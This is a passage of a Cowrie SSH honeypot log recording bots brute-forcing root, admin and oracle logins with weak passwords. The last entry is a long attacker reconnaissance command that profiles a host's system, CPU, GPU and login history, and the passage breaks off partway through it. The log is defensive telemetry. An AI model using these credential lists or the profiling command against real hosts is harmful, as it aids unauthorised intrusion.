sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:04:01.889091Z","src_ip":"23.94.92.98","session":"d8908e5300cd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"44:6f:92:2f:86:a0:e0:3f:6a:cf:04:38:50:12:a1:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDgQ7G1HA9eOdFqTAT3SGOmAZ0Y8p8WarQNHVA+eGB+7M+P90y4zjhMuZVAuNGe8dnoFBgy/CZJiM5xNieT8rsG0gUCgRIa4ZmAJMVYGhoAooPxchPnJSYT4FFQZG/pJQHT6yWOq0z8TjbdBkS0mxvX1rYGqsYosUetTozLUu/g8XrGGpdhKBWWd8NWvwIUSjKz/cw/T7UVLZ35P1N3CCqBE3QzWMTlRl9ixv/MN+Js5ZwAFeaAdvpBykLgAQ1/noA81yvsSTmIska8eZUgyL+fnUqVQwUs1oKUHzqNRz3Wq7mMWfsHUR3YT3ReEKX50ymas/8aDd661sTqxCfe/8+/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 44:6f:92:2f:86:a0:e0:3f:6a:cf:04:38:50:12:a1:c8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:04:01.998154Z","src_ip":"23.94.92.98","session":"d8908e5300cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"44:6f:92:2f:86:a0:e0:3f:6a:cf:04:38:50:12:a1:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDgQ7G1HA9eOdFqTAT3SGOmAZ0Y8p8WarQNHVA+eGB+7M+P90y4zjhMuZVAuNGe8dnoFBgy/CZJiM5xNieT8rsG0gUCgRIa4ZmAJMVYGhoAooPxchPnJSYT4FFQZG/pJQHT6yWOq0z8TjbdBkS0mxvX1rYGqsYosUetTozLUu/g8XrGGpdhKBWWd8NWvwIUSjKz/cw/T7UVLZ35P1N3CCqBE3QzWMTlRl9ixv/MN+Js5ZwAFeaAdvpBykLgAQ1/noA81yvsSTmIska8eZUgyL+fnUqVQwUs1oKUHzqNRz3Wq7mMWfsHUR3YT3ReEKX50ymas/8aDd661sTqxCfe/8+/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:04:02.001031Z","src_ip":"23.94.92.98","session":"d8908e5300cd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"79:5b:4a:86:fb:bd:b9:be:e8:fd:55:32:ad:59:d2:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCfP71wU/UzBZZPNnR6NahJaf+UIv6Nb38P0hlNveBqJz4Fli9t7b2UKsNDHb4S8J4Bm3HWOZNliIR33zhoeDvXuUKXOzAzHy+q8Bl0hh+o2v2xroG6UZ/n0cQVdRjwmTz5Z2TaRbrjqKoC6ymWj2HnY7MlO+Yi9fS2qef2Mup9yCaD/mGdx5P1PAYIoQpmTZc+v2UckcJajGa8Ec7rFmlXNAkknL08dvYYLY4fHq8Tekz2CGBqnn6jH0BzhVS9P0wDphQ9uT0jP7UkhFfOqa3N1uT0RsPwqo3/gAZwbWXFqhLKpWz1KolMvKanhttcE5ubH0H/fNXpnKLt4DNwWXDp65FjFnUsnvGiPkzmXTwVrQ5iAm+PrDFTRyPx/1C0sWhXXkYYrZpX4bF1VL1QzfnOXsXv54ipwLi2AGnfAE/pp3rgIvBP7kPc8+RYfs05D5WRhkMTvZWAWkYfWLg1dC/COthnrAmH/C2NZQS+9IPr53tL3qGDl+L695+JgoJFCSU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 79:5b:4a:86:fb:bd:b9:be:e8:fd:55:32:ad:59:d2:5f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:04:02.026455Z","src_ip":"23.94.92.98","session":"d8908e5300cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"79:5b:4a:86:fb:bd:b9:be:e8:fd:55:32:ad:59:d2:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCfP71wU/UzBZZPNnR6NahJaf+UIv6Nb38P0hlNveBqJz4Fli9t7b2UKsNDHb4S8J4Bm3HWOZNliIR33zhoeDvXuUKXOzAzHy+q8Bl0hh+o2v2xroG6UZ/n0cQVdRjwmTz5Z2TaRbrjqKoC6ymWj2HnY7MlO+Yi9fS2qef2Mup9yCaD/mGdx5P1PAYIoQpmTZc+v2UckcJajGa8Ec7rFmlXNAkknL08dvYYLY4fHq8Tekz2CGBqnn6jH0BzhVS9P0wDphQ9uT0jP7UkhFfOqa3N1uT0RsPwqo3/gAZwbWXFqhLKpWz1KolMvKanhttcE5ubH0H/fNXpnKLt4DNwWXDp65FjFnUsnvGiPkzmXTwVrQ5iAm+PrDFTRyPx/1C0sWhXXkYYrZpX4bF1VL1QzfnOXsXv54ipwLi2AGnfAE/pp3rgIvBP7kPc8+RYfs05D5WRhkMTvZWAWkYfWLg1dC/COthnrAmH/C2NZQS+9IPr53tL3qGDl+L695+JgoJFCSU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:04:02.031118Z","src_ip":"23.94.92.98","session":"d8908e5300cd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"73:37:1d:bb:a4:d2:8b:db:76:3a:ff:9a:18:4a:d4:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/g9KOWwd91pp3gbAkRPrRtCwHiqPS09X0gc84N5OWndFK3rk4RFBZXY+6PlY0s8cVwL3XLa7f0Z1blGBPxSmvWU5Trp0qC2feqKmEsy19je104HGtCD+1F82yq0H6iNGKJtIEcKQUnf5OVpnQ8NwpHcEXhi+M7FSJeJfkXHmkxNlylaPnJZ/2akdzLiihApf2UVOn9g/Rkbx/8CTHa/MCef7fTlNnkLNyVdFWTJ1AfPnt3xY60RbGEW486kejejWDcqptZ0j1IpeSNG5tXrBZrMXxem6vc+0fVcuEJi3Wa3653920Xt+4dPIjpO1Na9iAFoe70WipnMBvRm6fB49z","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 73:37:1d:bb:a4:d2:8b:db:76:3a:ff:9a:18:4a:d4:7a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:04:02.067108Z","src_ip":"23.94.92.98","session":"d8908e5300cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"73:37:1d:bb:a4:d2:8b:db:76:3a:ff:9a:18:4a:d4:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/g9KOWwd91pp3gbAkRPrRtCwHiqPS09X0gc84N5OWndFK3rk4RFBZXY+6PlY0s8cVwL3XLa7f0Z1blGBPxSmvWU5Trp0qC2feqKmEsy19je104HGtCD+1F82yq0H6iNGKJtIEcKQUnf5OVpnQ8NwpHcEXhi+M7FSJeJfkXHmkxNlylaPnJZ/2akdzLiihApf2UVOn9g/Rkbx/8CTHa/MCef7fTlNnkLNyVdFWTJ1AfPnt3xY60RbGEW486kejejWDcqptZ0j1IpeSNG5tXrBZrMXxem6vc+0fVcuEJi3Wa3653920Xt+4dPIjpO1Na9iAFoe70WipnMBvRm6fB49z","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:04:02.072265Z","src_ip":"23.94.92.98","session":"d8908e5300cd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"db:52:c2:24:87:c6:01:ee:17:dd:87:b7:53:25:7d:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBwBTFFRhlr+hLFNsUoFpWv7Vi5mGN6mmpWtzdYahJ5DEOR1aqo09JboJCMTJxJ/r5wuV7rx6zw1axjklQomhBwfDI/1BD1CuXIpL9YmW2RMEhJgcdtzUdiFlrxYXAlVnLRvhMw0AaBsl7k6uh8g7AWSpDqICCb5Rrv6qTm1MJZ6vwJO0FIHdCO0/1GkTjR3eK1cHYjWVRHPtyYpVHS8MTHHjFFABOEmL512IlRNZJUTWJ4Ch5tpCUmb6aygIcEwVV4WiB8SooSC3KKlt1llhizhKshCu6WDbmwomGb0wLyUBHbY4aUINHASRezboh/cSEGGrDBBZOVRMDuhP9Bb/R","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint db:52:c2:24:87:c6:01:ee:17:dd:87:b7:53:25:7d:24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:04:02.099063Z","src_ip":"23.94.92.98","session":"d8908e5300cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"db:52:c2:24:87:c6:01:ee:17:dd:87:b7:53:25:7d:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBwBTFFRhlr+hLFNsUoFpWv7Vi5mGN6mmpWtzdYahJ5DEOR1aqo09JboJCMTJxJ/r5wuV7rx6zw1axjklQomhBwfDI/1BD1CuXIpL9YmW2RMEhJgcdtzUdiFlrxYXAlVnLRvhMw0AaBsl7k6uh8g7AWSpDqICCb5Rrv6qTm1MJZ6vwJO0FIHdCO0/1GkTjR3eK1cHYjWVRHPtyYpVHS8MTHHjFFABOEmL512IlRNZJUTWJ4Ch5tpCUmb6aygIcEwVV4WiB8SooSC3KKlt1llhizhKshCu6WDbmwomGb0wLyUBHbY4aUINHASRezboh/cSEGGrDBBZOVRMDuhP9Bb/R","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:04:02.102598Z","src_ip":"23.94.92.98","session":"d8908e5300cd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9c:13:16:b1:2f:92:60:36:d9:e1:35:6a:5c:b5:f7:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC18ZK/64CCJ4HwctNY8YjLnH4IlnriRgajFnsuUpLJ05uoFa71OVHazDS5DznUm39uevgQrdcsacxRjsX2Z/bhf+UOShC/pl+b+0P9Rv4kbFeRtXYg8T1EKDG74L90yOhDrtd+aGi2fJmrfV7g+iPfDylX1JWkPQCi+6uWTK6sRD/u+2qahEbl1BA697hbjHeX8pwv9eU0DPahkUsLbxluNDWLvvHRe8SqkuVOq7apLEIqjty0f56PVyYJTmO+YPrnwqDr1n/9IptsSNYoPEW9KxwAv5YwR6A2yYEUpOAnA1J7qlY1kSEXj5JpDHWuient5qQgBO29XgdaSIqFBqKt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9c:13:16:b1:2f:92:60:36:d9:e1:35:6a:5c:b5:f7:bf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:04:02.132040Z","src_ip":"23.94.92.98","session":"d8908e5300cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9c:13:16:b1:2f:92:60:36:d9:e1:35:6a:5c:b5:f7:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC18ZK/64CCJ4HwctNY8YjLnH4IlnriRgajFnsuUpLJ05uoFa71OVHazDS5DznUm39uevgQrdcsacxRjsX2Z/bhf+UOShC/pl+b+0P9Rv4kbFeRtXYg8T1EKDG74L90yOhDrtd+aGi2fJmrfV7g+iPfDylX1JWkPQCi+6uWTK6sRD/u+2qahEbl1BA697hbjHeX8pwv9eU0DPahkUsLbxluNDWLvvHRe8SqkuVOq7apLEIqjty0f56PVyYJTmO+YPrnwqDr1n/9IptsSNYoPEW9KxwAv5YwR6A2yYEUpOAnA1J7qlY1kSEXj5JpDHWuient5qQgBO29XgdaSIqFBqKt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:04:02.134899Z","src_ip":"23.94.92.98","session":"d8908e5300cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:04:02.172960Z","src_ip":"23.94.92.98","session":"d8908e5300cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":6014,"dst_ip":"159.203.135.109","dst_port":22,"session":"355c2c561b6c","protocol":"ssh","message":"New connection: 176.53.159.196:6014 (159.203.135.109:22) [session: 355c2c561b6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:04:06.683418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:04:06.687368Z","src_ip":"176.53.159.196","session":"355c2c561b6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:04:06.790121Z","src_ip":"176.53.159.196","session":"355c2c561b6c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:04:07.093999Z","src_ip":"176.53.159.196","session":"355c2c561b6c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:04:07.202448Z","session":"355c2c561b6c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:04:07.305215Z","src_ip":"176.53.159.196","session":"355c2c561b6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:04:07.407236Z","src_ip":"176.53.159.196","session":"355c2c561b6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.12.251.137","src_port":55582,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa93cbb993e4","protocol":"ssh","message":"New connection: 198.12.251.137:55582 (10.17.0.5:22) [session: fa93cbb993e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:04:19.016979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:04:19.022297Z","src_ip":"198.12.251.137","session":"fa93cbb993e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:04:19.089966Z","src_ip":"198.12.251.137","session":"fa93cbb993e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cardano123","message":"login attempt [root/cardano123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:04:19.289875Z","src_ip":"198.12.251.137","session":"fa93cbb993e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:04:20.357636Z","src_ip":"198.12.251.137","session":"fa93cbb993e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":35112,"dst_ip":"10.17.0.5","dst_port":22,"session":"dfac94771b94","protocol":"ssh","message":"New connection: 91.92.40.176:35112 (10.17.0.5:22) [session: dfac94771b94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:04:35.154739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:04:35.158644Z","src_ip":"91.92.40.176","session":"dfac94771b94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:04:35.241959Z","src_ip":"91.92.40.176","session":"dfac94771b94","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"123456","message":"login attempt [oracle/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:04:35.486779Z","src_ip":"91.92.40.176","session":"dfac94771b94","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:04:35.717751Z","src_ip":"91.92.40.176","session":"dfac94771b94","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo 